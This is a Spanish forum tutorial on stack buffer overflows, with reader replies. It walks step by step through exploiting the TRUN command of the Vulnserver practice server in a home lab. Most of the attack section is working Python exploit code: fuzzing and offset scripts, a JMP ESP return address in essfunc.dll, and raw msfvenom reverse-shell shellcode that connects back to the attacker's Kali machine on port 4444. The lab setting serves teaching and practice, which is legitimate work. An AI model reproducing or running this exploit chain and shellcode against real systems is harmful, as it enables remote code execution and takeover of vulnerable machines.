Buffer Overflow | Explicación + Práctica


LinceCrypt

Tu lince confiable
Noderador
Nodero
Noder
Keloke, ganas de aprender un poquito? Pues empecemos.

Aviso: Esto no es un post introductorio del todo, voy a dar muchas cosas por asumidas. Necesitarás un conocimiento básico de sistemas operativos, algo de scripting (en python en este caso), uso de kali y eso. En resumen, si vienes desde 0, puede que no te enteres de una mierda, pero puedes quedarte para ver si adquieres algo. En el caso de que no sepas python, si ya programas en algo, te será fácil de entender, es muy intuitivo.
En el post no voy a explicar paso por paso cómo hacerlo, sino que simplemente voy a enseñar una demostración práctica (mínimamente explicada) y ya. Si luego os interesa cómo hacerlo paso por paso, si no me da pereza hago un post nuevo y lo explico pasito a pasito

Así muy resumido, el buffer overflow consiste en petar un buffer para llegar a modificar datos en otras partes de la memoria.
Para poder entender esto, tengo que enseñaros la anatomía de la memoria:
Mem_anatomy_res.jpg

Estructurado en:
- Kernel (arriba del todo): Encuentro la línea de comandos, variables de entorno, etc. No puede ni leer ni escribir en estas direcciones, sino me pegará un castañazo con un "Segmentation Fault"
- Stack: Crece hacia abajo, es decir, hacia direcciones de memoria más pequeñas. Esto es importante para el buffer overflow. Aquí gasto variables automáticas, return addresses de las llamadas, etc
- Heap: Crece hacia arriba. Usado para alocación de memoria. Los que hayais usado C conocereis funciones como el malloc, por ejemplo. También hay new, free, delete...
- Data: Variables estáticas inicializadas y no inicializadas.
-Text: El segmento de código (read-only)

Ahora, lo importante para el buffer overflow. Nos centraremos en el Stack, así que tendremos que conocer qué coño hay en el stack:
1689265826204.png

El punto es el espacio del buffer. Esta usado como área de almacenamiento en algunos lenguajes. En teoría, la información colocada en el buffer, no debería ni de coña viajar fuera del buffer mismo. En un buffer overflow, la información del buffer escapa hasta llegar a registros como el EBP y el EIP (el importante)

Demostración de un buffer sin overflow y otro con overflow:

- Buffer lleno, pero sin overflow:
NO_OVERFLOW_SI.jpg


- Buffer lleno con overflow:
OVERFLOW_SI.jpg


¿Por qué es importante el EIP? -> Pues porque con este registro (está en procesador) puedo guardar la dirección de memoria donde empieza mi código malicioso.
En este post os pondré un ejemplo de cómo llego a toquetear el
EIP para apuntar a un código que consiga darnos una reverse shell
1689266083910.png

Por si no lo sabíais: Hay 2 tipos de shells, la reverse shell y la bind shell. En la revers shell queremos que el equipo al que estamos atacando se conecte a nosotros.
Ejemplito rápido:
1689266195169.png

En la izquierda escucho el puerto en el que se debería hacer una conexión, y en la derecha está la máquina atacada que se conecta a nosotros (luego con el código malicioso haremos eso).

Un ejemplo de buffer overflow sería esto:

1689266354180.png

En el post, petaremos un servidor vulnerable con A's y luego en uno de los pasos para concretar dónde está el EIP, usaremos B's.

Vale, pero el buffer overflow tiene unos pasos, que son los siguientes:
  1. Spiking → El método que usaremos para encontrar un programa vulnerable.
  2. Fuzzing → Enviar un puñado de caracteres a un programa para conseguir romperlo (¿cuántos bytes debo enviar para cargármelo?)
  3. Finding the offset → Una vez lo rompo, debo encontrar dónde se rompió (El offset del EIP)
  4. Overwriting the EIP → Con ese offset, sobreescribo el EIP y apunto a mi código que hará cositas maravillosas al servidor
  5. Finding bad characters → Esto es como una limpieza para generar correctamente el código de la shell. Esto se hace examiinando el dump del ESP y viendo cuáles son los "bad characters", cómo interactúan con el shellcode y su importancia.
  6. Finding the right module → Nos permite evitar protecciones de memoria como DEP, ASLR, etc y encontrar un return address válido.
  7. Generating shellcode & Root → No tiene mucho misterio, es la mejor parte, donde la máquina que ataco se convierte en mi puta.
Para todas estas cosas que os enseañaré a continuación usaré 2 máquinas virtuales. Una con mi Kali (atacante) y otra con un W10 (víctima).
En la W10 tengo instalados 2 programas. 1. Immunity Debugger, que nos permitirá ejecutar el programa y ver cositas chulas y 2. Vulnserver, que será el servidor vulnerable al que atacaremos. Escribiremos un exploit y conseguiremos una reverse shell.

1. SPIKING
Hago un attach del vulnserver al immunity debugger (todo con admin) y dentro del debugger le doy al play y ya tengo el servidor corriendo en el debugger. Cualquier conexión la veremos entrar.
Detalles:

- Vulnserver por lo general corre en el puerto 9999.
- La IP de la máquina que atacaremos es la 192.168.57.13 y la de la kali es 192.168.57.5

El punto es, que el servidor vulnerable "vulnserver", tiene algunos comandos que vemos si escribimos "HELP". Con spiking vamos a ver cuáles de estos comandos son vulnerables y cuáles no

Usamos netcat para conectarnos al vulnserver: nc -nv 192.168.57.13 9999
Nos debería aparecer lo siguiente:
1689267371977.png

Con un HELP veo qué comandos hay. Enfoco en rojo el comando TRUN porque ese es el vulnerable, ya os lo adelanto. Pero, os enseñaré un ejemplo con TRUN y con STATS que no es vulnerable y veis que pasa con cada uno.
Para la fase de spiking, usaremos "generictcp", que funciona así:
1689267469740.png

host, puerto, spike script y variables que dejaremos en 0 las dos.

El primer script con el comando no vulnerable, STATS, es algo bastante sencillito:
s_readline(); s_string("STATS"); s_string_variable("0");

Lo guardo como stats.spk

1689267627512.png

Con generic_send_tcp vemos que el fuzzing funciona, pero si vemos el log del vulnserver, vemos que no pasa nada especial.
Pero, si lo hacemos con el TRUN, que es el vulnerable, pasa lo siguiente:
1689267904689.png

El servidor peta y tienes un "Access Violation". Antes estaba running, recibiendo conexiones, pero luego con esto, pasa de running a Paused:
1689267962358.png

El servidor ha crasheado. No hay mensaje de error porque se lo come el Immunity Debugger, pero acabamos de comprobar que hay cosas vulnerables. Cosa mala.
Esto es muy importante porque sacamos información muy valiosa de aquí:
1689268053828.png

En los registros, vemos que se envía el comando TRUN AAAA..., pero la sintaxis es rara y te incluye un "/.:/", cosa que incluiremos luego en el código
Vemos todas las AAA... han hecho overflow desde el buffer, hasta el EBP y hasta el EIP. Lo sabemos porque en hex 414141, sería el equivalente a AAA... (A es 41 en hex)

Hemos llegado al EIP, que es lo importante. Hemos visto que TRUN es vulnerable, ahora podemos pasar a las fase 2


2. FUZZING
Ahora, con un simple script en python, petaremos el servidor con A's hasta que crashee.
Python:
#!/usr/***/python
import sys, socket
from time import sleep

buffer = "A" * 100

while True:
    try:
        payload = 'TRUN /.:/' + buffer
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('192.168.57.13', 9999))
     
        print("[+] Sending payload....\n" + str(len(buffer)))
        s.send((payload.encode()))
        s.close()
        sleep(1)
        buffer = buffer + "A" * 100
     
    except:
        print("Fuzzing crashed at %s bytes" % str(len(buffer)))
        sys.exit()

Resumen pequeño del código: Tenemos un buffer con 100 A's y un bucle infinito. En ese bucle realizamos conexiones al vulnserver y enviamos los comandos "TRUN /.:/ AA..." con cada vez más A's. Empezamos por 100, luego por 200, luego 300 hasta que pete. Tenemos un delay de 1 segundo entre envío y envío y cuando peta me sale una excepción con el mensaje de en qué byte ha crasheado.

Ahora, la cosa es que a veces no se para del todo el comando, así que en el momento en el que veamos que el vulnserver crashea, hago CTRL+C y lo paro.

IMPORTANTE: Esto va encodeado con .encode(), que hace byte encoding. Esto luego no va del todo, así que tuve que hacer un encoding a mano metiendole "b" delante de las strings, luego lo vereis.
Se vería algo así:
1689268653537.png

Y vemos que peta el servidor:
1689268675035.png

como justo peta mas o menos por los 2600 bytes, pues para hacerlo más redondo diremos que ha crasheado a los 3000B.

Vemos en el EAX el puñao de A's que han hecho que pegue un castañazo pero lo que nos importa es el EIP. Ahora tocará encontrar el offset, es decir, en qué puta parte ha reventado esto??

3. ENCONTRANDO EL OFFSET
Para esto, tenemos una herramienta que nos ofrece metasploit, que en kali se encuentra en "/usr/share/metasploit-framework/tools/exploit/pattern_create.rb"

El comando lo usaremos así: "└─$ /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000", el -l 3000 es la aprox de que crasheó por los 3000 bytes.
El output es un tocho así:
1689268971253.png

que sigue y sigue... Pues ese offset lo mandaremos al vulnserver para ver keloke. Lo enviaremos con el siguiente script:
Python:
#!/usr/***/python
import sys, socket

offset = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"


try:
    payload = 'TRUN /.:/' + offset
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.57.13', 9999))
 
    s.send((payload.encode()))
    s.close()
 
except:
    print("Error connecting to the server")
    sys.exit()

Telita el offset.

Es casi igual al anterior, solo que no es un bucle infinito hasta que peta y lo que envío es el payload + el offset.

De aquí sacamos algo MUUUY impoortante, el offset del EIP:
1689269140274.png

Para encontrar bien el byte en el que se encuentra usaremos otra herramienta de metasploit que se encuentra en "/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb"

El comando quedaría como: "└─$ /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 386F4337"
1689269235777.png

voilà, ya tememos el lugar donde empieza el EIP. Osea, que a los 2003 bytes ya puedo controlar el EIP, de puta madre.

4. SOBREESCRIBIENDO EL OFFSET
Sabemos que a los 2003 bytes empieza el EIP. Vimos que el EIP era 386F4337, por lo que sabemos que es 4 Bytes de largo. Vamos a modificarlo con otro script:

Python:
#!/usr/***/python
import sys, socket

shellcode = "A" * 2003 + "B" * 4


try:
    payload = 'TRUN /.:/' + shellcode
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.57.13', 9999))
 
    s.send((payload.encode()))
    s.close()
 
except:
    print("Error connecting to the server")
    sys.exit()

Literalmente lo puto mismo casi que antes, solo que en enviamos "shellcode" que es la petada de A's Y AHORA, en el momento de llegar al EIP, le metemos 4 B's (1 byte por B) para completarlo y ver si se modifica correctamente o la hemos cagado sacando el offset.
Reminder: Dijimos que A era 41 en hex, pues B es 42. Por lo que si el EIP se ve como 42424242, es que lo hemos hecho bien, si no pues xD.

Una vez enviado el script, veremos que todo de puta madre, el EIp está como debería:
1689269562658.png


Solo nos falta encontrar los "bad characters" que pueden joderte el shell, encontrar el módulo correcto y generar el shellcode para ganar nuestro bonito root.

5. ENCONTRANDO LOS BAD CHARS
Tenemos que saber qué caracteres son buenos y malos para el shell. En googleamos "badchars", instalamos la herramienta y tenemos nuestra chuletilla
1689269797184.png

y sigue hasta llegar a \xff que sería el último.
Correremos todos los caracteres desde x01 hasta xff. Algunos programas, tienen uno de estos caracteres que les hace hacer cosas raras, por eso intentamos evitarlos.

Usaremos otro script de python con esto, que se vería algo así:

Python:
#!/usr/***/env python3

import sys, socket

badchars = (
  b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
  b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
  b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
  b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
  b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
  b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
  b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
  b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
  b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
  b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
  b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
  b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
  b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
  b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
  b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
  b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)

shellcode = b"A" * 2003 + b"B" * 4 + badchars

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.57.13',9999))

    payload = b"TRUN /.:/" + shellcode

    s.send((payload))
    s.close()
except:
    print ("Error connecting to server")
    sys.exit()

Como dije antes, con el .encode() no furula, así que hay que byte encodearlo 1 por 1, por eso está la "b" todo el rato ahí.

El script es lo mismo, petamos el buffer y el EBP con A's, luego el EIP con B's y luego le metemos los bad chars.

En el vulnserver, se vería algo así:
1689270044298.png


Ahora, seleccionamos el address del ESP y encontraremos estos bad chars examinando el ESP dump:
1689270087231.png


Un código sin bad chars furula sin interrupción, 01 02 03 ... FF. PEEEERO, uno que sí tiene bad chars, por ejemplo se salta uno, por ejemplo 11 12 el 13 falta 14 15... Pues asumimos que el 13 es un bad char.

Así se vería un servidor con bad chars:
1689270161718.png


Vemos que va bien 01 02 03 PERO 04 y 05 desaparecen y sigue con 06 07...

Importante: Cuando vemos dos caracteres consecutivos que se han perdido, sólo nos preocuparemos del primer caracter. Por lo que, el 04 es malo pero del 05 no tenemos que preocuparnos.
6. ENCONTRANDO EL MÓDULO CORRECTO
Con esto me refiero a un DLL o algo similar dentro de un programa que no tenga protecciones de memoria.

Para esto usaremos "Mona modules", que con un rápido googleo lo puedo encontrar.

mona, bien.jpg


Vemos varias direcciones con False y True. El punto ideal es encontrar todo False. En este caso, con el primero nos vale (essfunc.dll).

Ahora necesitaremos encontrar el opcode equivalente a un salto, que lo haremos con nasm_shell metiendole el comando "JMP ESP" (código de salto en assembly), que nos devolvería el código equivalente en hex que es FFE4.

Lo que hacemos es, que usamos esto como un puntero y saltará a nuestro preciado código malicioso.

Escribimos FFE4 en monay encontramos un puñado de direcciones

Todo lo que vemos son return addresses como el que marco con la flecha "0x625011af". Los escribiremos y los probaremos desde arriba a abajo (top-down) y veremos cuál furula. En este caso 0x625011af va bien.
mona FFE4.jpg


Usamos otro script en python:

Python:
#!/usr/***/env python3

import sys, socket

shellcode = b"A" * 2003 + b"\xaf\x11\x50\x62"
# 625011af

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.57.13',9999))

    payload = b"TRUN /.:/" + shellcode

    s.send((payload))
    s.close()
except:
    print ("Error connecting to server")
    sys.exit()

Donde andes llenabamos de B's el EIP, ahora lo llnaremos con "625011af".

Si veis, lo pongo al revés y esto es porque las arquitecturas x86 usan little endian, por lo que guarda el byte de bajo orden en el address más bajo y el byte de mayor orden en el más alto.
Este script hará que el servidor pete y haremos cositas.

En el debugger ponemos un breaking point justo donde se hace el salto:
1689270963316.png


Lo que significa es, que cuando overfloweemos el programa, se parará en esa parte del código.

Ejecutamos nuestro script en kali y vemos que hemos modificado el EIP de forma victoriosa:

1689271036754.png


Vemos tambien que ha parado en el breakpoint:
1689271055870.png

Ahora solo falta la parte chula generar el shell y ganar root.

7. SHELLCODE Y ROOT
El shell lo generaremos con msfvenom de la siguiente manera:

└─$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.57.5 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

Y nos genera otro tocho para copypastearlo en el script de python:
1689271162643.png

Es bueno ver el tamaño del payload, 351B en este caso, porque en el caso de que trabajemos con un espacio muy limitado, digamos que es de 200B, pues este script no nos valdría pa na.

El script quedaría algo así:
Python:
#!/usr/***/env python3

import sys, socket

overflow = (
b"\xb8\xd8\xeb\xab\x42\xda\xdd\xd9\x74\x24\xf4\x5e\x29\xc9"
b"\xb1\x52\x83\xee\xfc\x31\x46\x0e\x03\x9e\xe5\x49\xb7\xe2"
b"\x12\x0f\x38\x1a\xe3\x70\xb0\xff\xd2\xb0\xa6\x74\x44\x01"
b"\xac\xd8\x69\xea\xe0\xc8\xfa\x9e\x2c\xff\x4b\x14\x0b\xce"
b"\x4c\x05\x6f\x51\xcf\x54\xbc\xb1\xee\x96\xb1\xb0\x37\xca"
b"\x38\xe0\xe0\x80\xef\x14\x84\xdd\x33\x9f\xd6\xf0\x33\x7c"
b"\xae\xf3\x12\xd3\xa4\xad\xb4\xd2\x69\xc6\xfc\xcc\x6e\xe3"
b"\xb7\x67\x44\x9f\x49\xa1\x94\x60\xe5\x8c\x18\x93\xf7\xc9"
b"\x9f\x4c\x82\x23\xdc\xf1\x95\xf0\x9e\x2d\x13\xe2\x39\xa5"
b"\x83\xce\xb8\x6a\x55\x85\xb7\xc7\x11\xc1\xdb\xd6\xf6\x7a"
b"\xe7\x53\xf9\xac\x61\x27\xde\x68\x29\xf3\x7f\x29\x97\x52"
b"\x7f\x29\x78\x0a\x25\x22\x95\x5f\x54\x69\xf2\xac\x55\x91"
b"\x02\xbb\xee\xe2\x30\x64\x45\x6c\x79\xed\x43\x6b\x7e\xc4"
b"\x34\xe3\x81\xe7\x44\x2a\x46\xb3\x14\x44\x6f\xbc\xfe\x94"
b"\x90\x69\x50\xc4\x3e\xc2\x11\xb4\xfe\xb2\xf9\xde\xf0\xed"
b"\x1a\xe1\xda\x85\xb1\x18\x8d\x69\xed\x1b\x48\x02\xec\x5b"
b"\x43\x8e\x79\xbd\x09\x3e\x2c\x16\xa6\xa7\x75\xec\x57\x27"
b"\xa0\x89\x58\xa3\x47\x6e\x16\x44\x2d\x7c\xcf\xa4\x78\xde"
b"\x46\xba\x56\x76\x04\x29\x3d\x86\x43\x52\xea\xd1\x04\xa4"
b"\xe3\xb7\xb8\x9f\x5d\xa5\x40\x79\xa5\x6d\x9f\xba\x28\x6c"
b"\x52\x86\x0e\x7e\xaa\x07\x0b\x2a\x62\x5e\xc5\x84\xc4\x08"
b"\xa7\x7e\x9f\xe7\x61\x16\x66\xc4\xb1\x60\x67\x01\x44\x8c"
b"\xd6\xfc\x11\xb3\xd7\x68\x96\xcc\x05\x09\x59\x07\x8e\x29"
b"\xb8\x8d\xfb\xc1\x65\x44\x46\x8c\x95\xb3\x85\xa9\x15\x31"
b"\x76\x4e\x05\x30\x73\x0a\x81\xa9\x09\x03\x64\xcd\xbe\x24"
b"\xad"
)

shellcode = b"A" * 2003 + b"\xaf\x11\x50\x62" + b"\x90" * 32 + overflow
                # 625011af

try:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('192.168.57.13',9999))

    payload = b"TRUN /.:/" + shellcode

    s.send((payload))
    s.close()
except:
    print ("Error connecting to server")
    sys.exit()

Entonces el shellcode: Parte 1 es para llegar el EIP, la parte 2 es para que el puntero nos redirija a la instrucción de salto y que se ejecute nuestro código que está en la parte tres, con el nombre de "overflow"
Le metemos 32 nops (\x90) como padding, para asegurar que entre el salto y el shellcode el código no interfiere con nada de nada. Si tenemos poco espacio pues usaríamos menos nops, 8 por ejemplo.

Ahora, iniciamos nuestro netcat para que escuche en 4444, que es el puerto que pusimos en el shell en metasploit.

Y luego, al iniciar el script y mandarlo al servidor vemos que tenemos cositas, ¿qué cositas? Pues el puto root:

1689271435448.png




Espero que no se os haya hecho muy pesado el post. Al que le interese que lo lea. Lo he escrito de una, le haré una revisión y bueno, si encontráis alguna falta pues bueno, es lo que hay, lo importante es que se entiende.
Al final he acabado explicando más de lo que pensaba pero bueno, se puede fragmentar más.

Have fun.
 

Adjuntos

  • 1689266339040.png
    1689266339040.png
    39,2 KB · Visitas: 16
  • 1689271972668.png
    1689271972668.png
    123,6 KB · Visitas: 10
Última edición:

Anon

🏴‍☠️
Owner
Staff
Moderador
Paladín de Nodo
Jinete de Nodo
Burgués de Nodo
Noderador
Nodero
Noder
*** Hidden text: cannot be quoted. ***




Espero que no se os haya hecho muy pesado el post. Al que le interese que lo lea. Lo he escrito de una, le haré una revisión y bueno, si encontráis alguna falta pues bueno, es lo que hay, lo importante es que se entiende.
Al final he acabado explicando más de lo que pensaba pero bueno, se puede fragmentar más.

Have fun.
Súper completa la explicación. Qué estudias actualmente?
 

LinceCrypt

Tu lince confiable
Noderador
Nodero
Noder
Súper completa la explicación. Qué estudias actualmente?
Empiezo ahora 3º de ing informática. Y de todo lo que he estudiado en la carrera, para esto sólo me ha servido la explicación de la memoria y la programación en otros lenguajes. Que bueno, habiendo tocado C medio avanzado ya estas mierdas en python son un paseo JAJAJAJ
 
  • Regalar
Reacciones : reijilla

Gelto

Miembro muy activo
*** Hidden text: cannot be quoted. ***




Espero que no se os haya hecho muy pesado el post. Al que le interese que lo lea. Lo he escrito de una, le haré una revisión y bueno, si encontráis alguna falta pues bueno, es lo que hay, lo importante es que se entiende.
Al final he acabado explicando más de lo que pensaba pero bueno, se puede fragmentar más.

Have fun.
 

emehache20

Miembro muy activo
*** Hidden text: cannot be quoted. ***




Espero que no se os haya hecho muy pesado el post. Al que le interese que lo lea. Lo he escrito de una, le haré una revisión y bueno, si encontráis alguna falta pues bueno, es lo que hay, lo importante es que se entiende.
Al final he acabado explicando más de lo que pensaba pero bueno, se puede fragmentar más.

Have fun.
Veamos de que trata
 

reijilla

just a dead man
Jinete de Nodo
Burgués de Nodo
Noderador
Nodero
Noder
Empiezo ahora 3º de ing informática. Y de todo lo que he estudiado en la carrera, para esto sólo me ha servido la explicación de la memoria y la programación en otros lenguajes. Que bueno, habiendo tocado C medio avanzado ya estas mierdas en python son un paseo JAJAJAJ
Estaría guay que hicieces post diciendo tu expetiencia y si renta meterse a esa ingeniería la verdad
 

pablo_pi34

Que tus palabras tengan más valor que el silencio.
Nodero
Noder
Un post de puta madre, como te dije en chat, si se usa para el pirateo de algunas consolas, al dejar la memoria vulnerable se modificaban los valores y tal haciendo posible downgrades etc.
 
  • Regalar
Reacciones : LinceCrypt